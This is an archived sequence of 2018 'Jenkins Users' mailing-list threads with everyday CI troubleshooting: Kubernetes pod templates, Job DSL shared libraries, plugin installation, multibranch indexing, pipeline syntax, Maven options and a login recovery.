>> working directory configuration:
>> workingDir: '/usr/src/app',
>>
>>
>> Err msg:
>>
>> kubectl logs -f -c workers jenkins-slave-4tfz2-3nw6d -n jenkins
>> npm ERR! path /usr/src/app/package.json
>> npm ERR! code ENOENT
>> npm ERR! errno -2
>> npm ERR! syscall open
>> npm ERR! enoent ENOENT: no such file or directory, open
>> '/usr/src/app/package.json'
>> npm ERR! enoent This is related to npm not being able to find a file.
>> npm ERR! enoent
>>
>>
>>
>> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/eaaf1ea1-698a-4712-9776-95a3ecea46d0%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KsvXCcFr2vfuE%3DUVR5EcNBrivVmQnUc-rK%3DJ8upviRRg%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Load balanced Jenkins?

2018-08-23 Thread Jan Monterrubio
You can deploy Jenkins from a docker image so you should be able to crate
the same configuration in a new image and deploy two containers like that.

On Thu, Aug 23, 2018 at 12:30 Peter Berghold 
wrote:

> I've been messing about a bit with Docker on Digital Ocean and was going
> to branch next onto  Docker Swarm stuff.  I was wondering about deploying
> Jenkins into a swarm and using a load balancer to switch between instances.
>
> Is anybody aware of way of having multiple instances of Jenkins using the
> same configurations other than possibly using slaves?
>
> In other words it in my mind would be kinda useful if I logged into
> "jenkins.some.domain" and let the load balancer direct my request between
> multiple instances and have them look the same.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CAArvnv1CkF3k47PuHmGHKne1emF58U2QY%3Dok-8J1jK0dBNgP5Q%40mail.gmail.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LhSF2AEHTjo4hTQcjhkgKDLqaBpwzAHsKGQ-Bmb%2B%2BBng%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Usage of Jenkins shared library in Job DSL

2018-08-26 Thread Jan Monterrubio
Manage Jenkins -> configure system -> global libraries

You can add your shared library there.

On Fri, Aug 17, 2018 at 11:05  wrote:

> Hey,
>
> I am looking for advice how to achieve usage of Jenkins shared library in
> Job DSL –
> I use this snipped to seed a job whose functionality is in Jenkins file:
>
>
> job('my-small-test-job') {
> parameters {
> stringParam('branch', '${branch}')
> }
> removedJobAction: 'IGNORE'
> def releaseScript = readFileFromWorkspace('Jenkinsfile')
> steps {
>   dsl {
>   text(releaseScript)
>   }
> }
> }
>
> The newly created [my-small-test-job] has this content (taken out of the
> Jenkinsfile):
>
> @Library('templates')_
>
> stage('Demo') {
> echo 'Hello world'
> jobBuilder {
>   nodeLabels = 'linux && test'
>   antExtraArgs = 'test
> -Dtest.suite=com.softwareag.suites.custom.ToolsTestSuite'
> }
> }
>
> I have a shared library under [templates] that is a generic job builder
> (the syntax is typical groovy like jenkins pipeline, similar to what is
> explained here: https://jenkins.io/doc/book/pipeline/shared-libraries/)
>
>
> When I try to run the newly created [my-small-test-job] I get this:
>
> Processing provided DSL script
> ERROR: startup failed:
> script: 1: unable to resolve class Library ,  unable to find class for
> annotation
>  @ line 1, column 1.
>@Library('templates')_
>^
>
> 1 error
>
>
> The shared library is obviusly not added to classpath. How do I fix this?
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/6e3b23aa-873b-40c6-9859-c5cd7356611f%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LMjNNruE_pux-K5Gqy_UabB0KHdZwiHWVG3a7AhzSP-Q%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Don't Use GitHub API For GitHub Organization Job

2018-09-07 Thread Jan Monterrubio
I would assume the use of the GitHub API at the org level is to find all
repositories, and then the branches for each repository. That might be the
nature of the GitHub Organization folder.

Maybe it could be enhanced to use api v4 GraphQL which should get us all
the info in one query.

On Tue, Sep 4, 2018 at 20:47  wrote:

> We switched over to checking out our projects with SSH credentials because
> we are constantly butting up against the github API quota.
>
> When a build begins the first thing you see is the job checking in with
> the GitHub API to see the rate limit.  If we are checking out w/ SSH what
> is the purpose of that?
>
> Is there a way to make the builds not use the API at all?
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/7a6d7ef8-1700-4042-941b-d1ba74fef440%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LCE4YSUbTe3%3DGRNYMauDZukfZHFv2-W7s%3D2EVaJFxNWg%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: How can I find the plugin name to use with install-plugins.sh?

2018-09-14 Thread Jan Monterrubio
If I recall correctly, install plugins can handle a pipe delimited list of
plugin names and versions. Or maybe I’m confusing that script with a
different one.

On Fri, Sep 14, 2018 at 05:04 Richard Bywater  wrote:

> Note that you can also find the ID of a plugin on the plugins.jenkins.io
> page for that plugin (e.g. https://plugins.jenkins.io/docker-workflow) -
> its ID is shown just below the plugin name header.
>
> Richard.
>
> On Fri, Sep 14, 2018 at 12:00 AM Thomas Sundberg  wrote:
>
>> Hi!
>>
>> This is partly answering my own question:
>>
>> Install the plugin you want to try.
>>
>> Run the script
>>
>> Jenkins.instance.pluginManager.plugins.each{
>>   plugin ->
>> println ("${plugin.getDisplayName()} (${plugin.getShortName()}):
>> ${plugin.getVersion()}")
>> }
>>
>> Locate the short name of the plugin you want to deploy and add it to
>> the Dockerfile.
>>
>> In this particular case, look for the line
>>
>> Docker Pipeline (docker-workflow): 1.17
>>
>> and add
>>
>> RUN /usr/local/bin/install-plugins.sh docker-workflow
>>
>> in your Dockerfile.
>>
>> Clumsy? Yes
>> Did it work? Yes
>>
>> What would you like?
>> A section at the page
>> https://wiki.jenkins.io/display/JENKINS/Docker+Pipeline+Plugin stating
>> that the command line name for this plugin is docker-workflow
>>
>> Cheers,
>> Thomas
>>
>> On Thu, 13 Sep 2018 at 13:42, Thomas Sundberg  wrote:
>> >
>> > Hi!
>> >
>> > I am creating a Jenkins installation from a Dockerfile. I want to
>> > specify all plugins so they are available when the image is built.
>> >
>> > This typically looks like many lines like this:
>> >
>> > RUN /usr/local/bin/install-plugins.sh greenballs
>> >
>> > Is there a way to find the proper name for each plugin? I am currently
>> > looking for the proper name for the Docker Pipeline
>> > Plugin,https://wiki.jenkins.io/display/JENKINS/Docker+Pipeline+Plugin
>> >
>> > Cheers,
>> > Thomas
>> >
>> > --
>> > Thomas Sundberg
>> > M. Sc. in Computer Science
>> >
>> > Mobile: +46 70 767 33 15
>> > Blog: http://www.thinkcode.se/blog
>> > Twitter: @thomassundberg
>> >
>> > Better software through faster feedback
>>
>>
>>
>> --
>> Thomas Sundberg
>> M. Sc. in Computer Science
>>
>> Mobile: +46 70 767 33 15
>> Blog: http://www.thinkcode.se/blog
>> Twitter: @thomassundberg
>>
>> Better software through faster feedback
>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "Jenkins Users" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to jenkinsci-users+unsubscr...@googlegroups.com.
>> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/jenkinsci-users/CACpkv-x3VCcC8sWiDqMT%2BDUpPej09cZL7aKXQYQ20zjzENMoxQ%40mail.gmail.com
>> .
>> For more options, visit https://groups.google.com/d/optout.
>>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CAAy0hwek0EFfzzkZLzGtpLYd%2Bu1qk8h6KEwg_bTLvRjcP-Fc_A%40mail.gmail.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LQ-8BSC%2BhezJjOr%3D43ORx4MK0GaQvKKsN6AUXa8WQJbQ%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Start multi-branch indexing from SCM notification

2018-09-14 Thread Jan Monterrubio
There’s a scan button on the UI, so maybe we can track down what endpoint
that’s hitting and call that instead of notifyCommit? Would that do the
trick?

On Thu, Sep 6, 2018 at 20:42 Daniel Becroft  wrote:

> Hi,
>
> I have a multi-branch pipeline setup to initiate a branch indexing every X
> minutes, which works fine. However, I am trying to start that process from
> the command line via a post-commit hook.
>
> For a normal job, I can use the /subversion//notifyCommit to tell
> Jenkins of a new commit, and it will start any jobs that require it. This
> doesn't seem to apply to the multi-branch jobs, though. I can only start a
> job by using /jobs//build.
>
> I could have multiple jobs that share a repository, and I would like to
> avoid having to manually list each job in the post-commit hook.
>
> The polling also had the advantage of triggering downstream jobs when an
> external changed - is this possible with the branch indexing? (ie run
> branch indexing, if external changes then run the branch build)?
> ---
> Daniel Becroft
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CAJM0iSRaAFLfMDM6EoCFezBWHq26cMRFEfd5pq3hOPQfHm_yeg%40mail.gmail.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KOvaqdaRVi8wHpGpiOdr%3DrfWCQv2Ha9KNUtOkd7x67eA%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: use Blue Ocean to create a maven java project on Windows platform (without using a docker agent)

2018-09-16 Thread Jan Monterrubio
Would something like this get you started:

pipeline {

agent any

stages {

stage('Build') {

steps {

bat 'mvn -v'

}

}

}

}




On Mon, Sep 10, 2018 at 14:37 Mario Jauvin  wrote:

> By "Google has not provided any insight" I meant that google search did
> not return any useful information.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/de8aa194-4d71-4057-bf58-e8acba9ba2eb%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9JiMzGM9JhRPPAkTPYn9zog-OGUX2jdL_t%3DzvzN2ia0Ow%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Jenkins Testing failed after migrating to 2.121 LTS

2018-09-16 Thread Jan Monterrubio
Does the maven build only fail in Jenkins?

On Fri, Sep 14, 2018 at 12:18 Pranav Kv  wrote:

> Hi I am getting error in a maven build.
> There is test fail after migrating jenkins to new server.. But no issues
> in the old jenkins instance
>
> Error
> Validation not trigger.. Expected(abcd.xml) but found()
> Java assertion
>
> COULD any please help me to resolve?
> Regards
> Pranav
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/b7ce0fa4-273f-4680-a8e7-c10fd7ba08d7%40googlegroups.com
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9K3ZjZQRkFxRTn68q6JynAyupKGV%2Bu5X0GC%2BnTtz%3DoN8w%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: How to pass the parameter value as ${string} in Jenkins

2018-09-17 Thread Jan Monterrubio
Escape maybe?
“$\{blah\}”

On Mon, Sep 17, 2018 at 17:58 Bharath Kumar  wrote:

> How to pass the parameter value as ${string}.
>
> I am trying to pass a parameter value as ${example} and trying to redirect
> the same into a property file. expected output:
> property1=${example}
>
> looks like jenkins is trying to replace the value for example so it's
> returning blank.
> property1=
>
> so how do I take the exact property value as ${example} --??
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/e81aa2d7-d19f-4450-bf5d-262cb36f235e%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LartgZa0X7wBWYL0AHUu1C9YZU1CQQ4O4%2B8n3p4d6icw%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Jenkins K8s plugin - PodTemplate fails to create a Nodejs container

2018-09-18 Thread Jan Monterrubio
I don’t have any more ideas since I haven’t played with containers much :(

Feels like the NPM command is not being ran on the container. Does it work
if you remove the NPM stuff?

On Mon, Sep 17, 2018 at 03:57 Blau Gil  wrote:

> Hi Jan,
>
> Thank you for assisting.
> Yes the container runs on its own, only when I try to run the container
> image with Jenkins it fails.
>
> Any idea what I can do to resolve this?
>
> Thanks,
> --Gil.
>
> On Thu, 23 Aug 2018 at 04:04, Jan Monterrubio 
> wrote:
>
>> Does the container work on its own?
>>
>> Looks like you have this part in the container:
>>
>> "RUN apk add --no-cache --virtual .gyp \
>> python \
>> make \
>> g++ \
>> git \
>> && npm install --quit && npm cache clean --force \
>> && apk del .gyp"
>>
>> Which runs npm install
>>
>> On Wed, Aug 22, 2018 at 6:08 AM gil  wrote:
>>
>>> Anyone?
>>>
>>> On Sunday, 12 August 2018 11:28:54 UTC+3, gil wrote:
>>>>
>>>> Trying to tun a podTemaplate with the following containerTemplate, we
>>>> get the following error:
>>>>
>>>> npm ERR! path /home/jenkins/package.json
>>>> npm ERR! code ENOENT
>>>> npm ERR! errno -2
>>>> npm ERR! syscall open
>>>> npm ERR! enoent ENOENT: no such file or directory, open
>>>> '/home/jenkins/package.json'
>>>> npm ERR! enoent This is related to npm not being able to find a file.
>>>> npm ERR! enoent
>>>>
>>>> npm ERR! A complete log of this run can be found in:
>>>> npm ERR! /home/jenkins/.npm/_logs/2018-07-18T10_27_32_822Z-debug.log
>>>>
>>>>
>>>>
>>>> Configurations:
>>>>
>>>> Jenkinsfile PodTemplate:
>>>>
>>>>
>>>> deftestpod="testpod-${UUID.randomUUID().toString()}"
>>>> podTemplate(label: testpod, containers: [
>>>> containerTemplate(
>>>> name: 'myContainer',
>>>> image: 'gcr.io/xxx/xxxs/zzz:latest',
>>>> alwaysPullImage: true
>>>> )],
>>>> volumes: [
>>>> hostPathVolume(hostPath: '/var/run/docker.sock', mountPath:
>>>> '/var/run/docker.sock')
>>>> ])
>>>> {
>>>> try{
>>>> node(testpod) {
>>>> stage ("checkout") {
>>>> container('myContainer')
>>>> { checkout scm }
>>>>
>>>> }
>>>> ...
>>>>
>>>> zzz dockerfile:
>>>>
>>>> FROM node:8.9.4-alpine
>>>> RUN mkdir -p /usr/src/app
>>>>
>>>> WORKDIR /usr/src/app
>>>>
>>>> COPY package.json /usr/src/app/
>>>> ARG NODE_ENV
>>>> ENV NODE_ENV $NODE_ENV
>>>>
>>>>1. Add packages needed to build native dependencies
>>>>RUN apk add --no-cache --virtual .gyp \
>>>>python \
>>>>make \
>>>>g++ \
>>>>git \
>>>>&& npm install --quit && npm cache clean --force \
>>>>&& apk del .gyp
>>>>
>>>> RUN apk add --no-cache vim curl
>>>> COPY . .
>>>>
>>>> EXPOSE 
>>>> CMD [ "npm", "start"]
>>>>
>>>>
>>>> *
>>>>
>>>> /home/jenkins is mounted as a volume
>>>>
>>>> 1. Why this mounted volume effects the container?
>>>>
>>>> 2. Does the plugin do anything besides "docker run "? I am
>>>> asking this because I don't understand why it is running "nmp install"...
>>>>
>>>> 3. Can you please suggest how can this be fixed?
>>>>
>>>>
>>>> FYI -
>>>>
>>>> If I add a working directory to the containerTemplate I get the same
>>>> error with the working directory path:
>>>>
>>>> working directory configuration:
>>>> workingDir: '/usr/src/app',
>>>>
>>>>
>>>> Err msg:
>>>>
>>>> kubectl logs -f -c workers jenkins-slave-4tfz2-3nw6d -n jenkins
>>>> npm ERR! path /usr/src/app/package.json
>>>> npm ERR! code ENOENT
>>>> npm ERR! errno -2
>>>> npm ERR! syscall open
>>>> npm ERR! enoent ENOENT: no such 

Re: PRs not building

2018-09-19 Thread Jan Monterrubio
Do you have the web hooks and services configured on the repository to
receive push notifications from Jenkins / vice versa.

On Wed, Sep 19, 2018 at 00:19 Tom Duerr  wrote:

> Hi,
> Im using:
>
> jenkins: 2.139
> Github-Branch-Source 2.3.4
> BlueOcean
> GitHub Enterprise
>
> This is our first attempt at pipelines and I'm a bit confused.
>
> I did a "Scan Organization Now" and it detected the repo with the
> JenkinsFile.
> I can create a PR and do a "Scan Repository Now" and it will detect the PR
> and
> build. However, If I don't do a "Scan Repository Now" then nothing ever
> happens.
> I never see anything in "Respository Events" and the PR never gets built.
> Its unclear if I need to install the github pull request builder.
>
> Thanks,
> Tom
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/eb424294-ec96-475d-8b29-b3c06a956f13%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9J2X0X%2BzebHUTu47Dn0%2Bt%2B8Ukk9jcxD_qut5eJ7G21FbA%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Difference between MAVEN_OPT and JAVA_OPT

2018-09-19 Thread Jan Monterrubio
Java opts are options for the command line. Maven opts are options for
maven. You could pass an agent in the java opts but not in maven opts.

On Wed, Sep 19, 2018 at 00:00 Pranav Kv  wrote:

> Hi
> What is the difference between JAVA_OPT and MAVEN_OPT uses jenkins? My
> build is susseful without configuring MVN_OPTS.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/c6bd4e9b-e9d3-4a31-8193-b61d1fae77e7%40googlegroups.com
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LKVZ%2Bpbi2gObXwLpp4MyZs3Tvv5e25dBKbqcvRpfk_6w%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Still Login Problem.

2018-09-24 Thread Jan Monterrubio
Steve, what system are you running Jenkins with? Can you locate the config.xml 
file anywhere within that OS?

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/641a7598-e6ac-4ce4-83df-ff002330e39e%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


Re: Still Login Problem.

2018-09-24 Thread Jan Monterrubio
What happens if you delete it? Does it regenerate correctly?

On Mon, Sep 24, 2018 at 18:26 Steve Burrus  wrote:

> Jan I am using Windows 10 Entrerprise Eval uation. And YES I have not only
> located the config.xml file but also edited a few lines in it before.
>
> On Mon, Sep 24, 2018 at 5:26 PM Jan Monterrubio 
> wrote:
>
>> Steve, what system are you running Jenkins with? Can you locate the
>> config.xml file anywhere within that OS?
>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "Jenkins Users" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to jenkinsci-users+unsubscr...@googlegroups.com.
>> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/jenkinsci-users/641a7598-e6ac-4ce4-83df-ff002330e39e%40googlegroups.com
>> .
>> For more options, visit https://groups.google.com/d/optout.
>>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CABinwmVe9VDfOYAuGSXrjT9bBGZ3Zvg7P-f8XK2gQeKCcmGr4g%40mail.gmail.com
> <https://groups.google.com/d/msgid/jenkinsci-users/CABinwmVe9VDfOYAuGSXrjT9bBGZ3Zvg7P-f8XK2gQeKCcmGr4g%40mail.gmail.com?utm_medium=email&utm_source=footer>
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9Kah_R-r1nLspP%2BPhn5NKdYHZNPOvGisZ8b57GY91aQ%2Bw%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Still Login Problem.

2018-09-24 Thread Jan Monterrubio
Yeah, copy it and move it out. I read somewhere that it should regenerate.
If not, I think you can log in with the default username and password
(prints to console) and disable security like that.

On Mon, Sep 24, 2018 at 20:47 Steve Burrus  wrote:

> you mean the  the config.xml file?
>
>
>
> On Mon, Sep 24, 2018 at 8:35 PM Jan Monterrubio 
> wrote:
>
>> What happens if you delete it? Does it regenerate correctly?
>>
>> On Mon, Sep 24, 2018 at 18:26 Steve Burrus  wrote:
>>
>>> Jan I am using Windows 10 Entrerprise Eval uation. And YES I have not
>>> only located the config.xml file but also edited a few lines in it before.
>>>
>>> On Mon, Sep 24, 2018 at 5:26 PM Jan Monterrubio <
>>> janmonterru...@gmail.com> wrote:
>>>
>>>> Steve, what system are you running Jenkins with? Can you locate the
>>>> config.xml file anywhere within that OS?
>>>>
>>>> --
>>>> You received this message because you are subscribed to the Google
>>>> Groups "Jenkins Users" group.
>>>> To unsubscribe from this group and stop receiving emails from it, send
>>>> an email to jenkinsci-users+unsubscr...@googlegroups.com.
>>>> To view this discussion on the web visit
>>>> https://groups.google.com/d/msgid/jenkinsci-users/641a7598-e6ac-4ce4-83df-ff002330e39e%40googlegroups.com
>>>> .
>>>> For more options, visit https://groups.google.com/d/optout.
>>>>
>>> --
>>> You received this message because you are subscribed to the Google
>>> Groups "Jenkins Users" group.
>>> To unsubscribe from this group and stop receiving emails from it, send
>>> an email to jenkinsci-users+unsubscr...@googlegroups.com.
>>> To view this discussion on the web visit
>>> https://groups.google.com/d/msgid/jenkinsci-users/CABinwmVe9VDfOYAuGSXrjT9bBGZ3Zvg7P-f8XK2gQeKCcmGr4g%40mail.gmail.com
>>> <https://groups.google.com/d/msgid/jenkinsci-users/CABinwmVe9VDfOYAuGSXrjT9bBGZ3Zvg7P-f8XK2gQeKCcmGr4g%40mail.gmail.com?utm_medium=email&utm_source=footer>
>>> .
>>> For more options, visit https://groups.google.com/d/optout.
>>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "Jenkins Users" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to jenkinsci-users+unsubscr...@googlegroups.com.
>>
> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9Kah_R-r1nLspP%2BPhn5NKdYHZNPOvGisZ8b57GY91aQ%2Bw%40mail.gmail.com
>> <https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9Kah_R-r1nLspP%2BPhn5NKdYHZNPOvGisZ8b57GY91aQ%2Bw%40mail.gmail.com?utm_medium=email&utm_source=footer>
>> .
>> For more options, visit https://groups.google.com/d/optout.
>>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CABinwmUCdxOGMK7GyJoLTFimk%2BmXFOG%3DF7JR2-3Zr%3DPTDsD--g%40mail.gmail.com
> <https://groups.google.com/d/msgid/jenkinsci-users/CABinwmUCdxOGMK7GyJoLTFimk%2BmXFOG%3DF7JR2-3Zr%3DPTDsD--g%40mail.gmail.com?utm_medium=email&utm_source=footer>
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BhTEwQBvMOdsvyO49ZczncX6bpixbikgf6m_xHgJf0jw%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Jenkins pipeline

2018-10-03 Thread Jan Monterrubio
Secrets:
https://support.cloudbees.com/hc/en-us/articles/203802500-Injecting-Secrets-into-Jenkins-Build-Jobs?mobile_site=true

I believe they’d be environment variables.

Compiling: if you’re using maven just run mvn clean package or you could
have mvn deploy push the artifact to some repository and your staging
machine would just pull from that repo.

For pipeline/git the following page might help:
https://jenkins.io/doc/tutorials/build-a-java-app-with-maven/#fork-sample-repository


On Wed, Oct 3, 2018 at 01:38  wrote:

> # i don't know much about Jenkins pipeline but this is my first time and
> here is what I did
>
> //** pipeline to get the code from git branches and deploy to the staging
> or production server **//
>
> node {
>def mvnHome
>stage('Preparation') { // for display purposes
>   // Get some code from a GitHub repository
>   git 'https://github.com/jglick/simple-maven-project-with-tests.git'
>   // Get the Maven tool.
>   // ** NOTE: This 'M3' Maven tool must be configured
>   // **   in the global configuration.
>}
>stage('Execute commannds') {
>   //** Here you will aff the additional commands line npm
>
>   }
>}
>stage('deploy staging') {
>   ssh $user@IP 'cd $location && git status && git pll origin staging
> '\
>
>}
> }
>
> if this is right Please guide me that how do I add the staging and
> production branches accordingly and if i want to compile the code on the
> way how do i do that . + how do i add secret variables in the jenkins that
> i can use in the pipeline script
>
>
>
>
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/74eaf638-f1ba-4026-a67b-a2479da965e0%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BY06e4jjiCtDXo5RUK6htv%3DCQA6usCB%2BYycbX_1kPxuQ%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: Best Way to Sandbox Test Jenkins & Jenkins Plugin Updates?

2018-10-11 Thread Jan Monterrubio
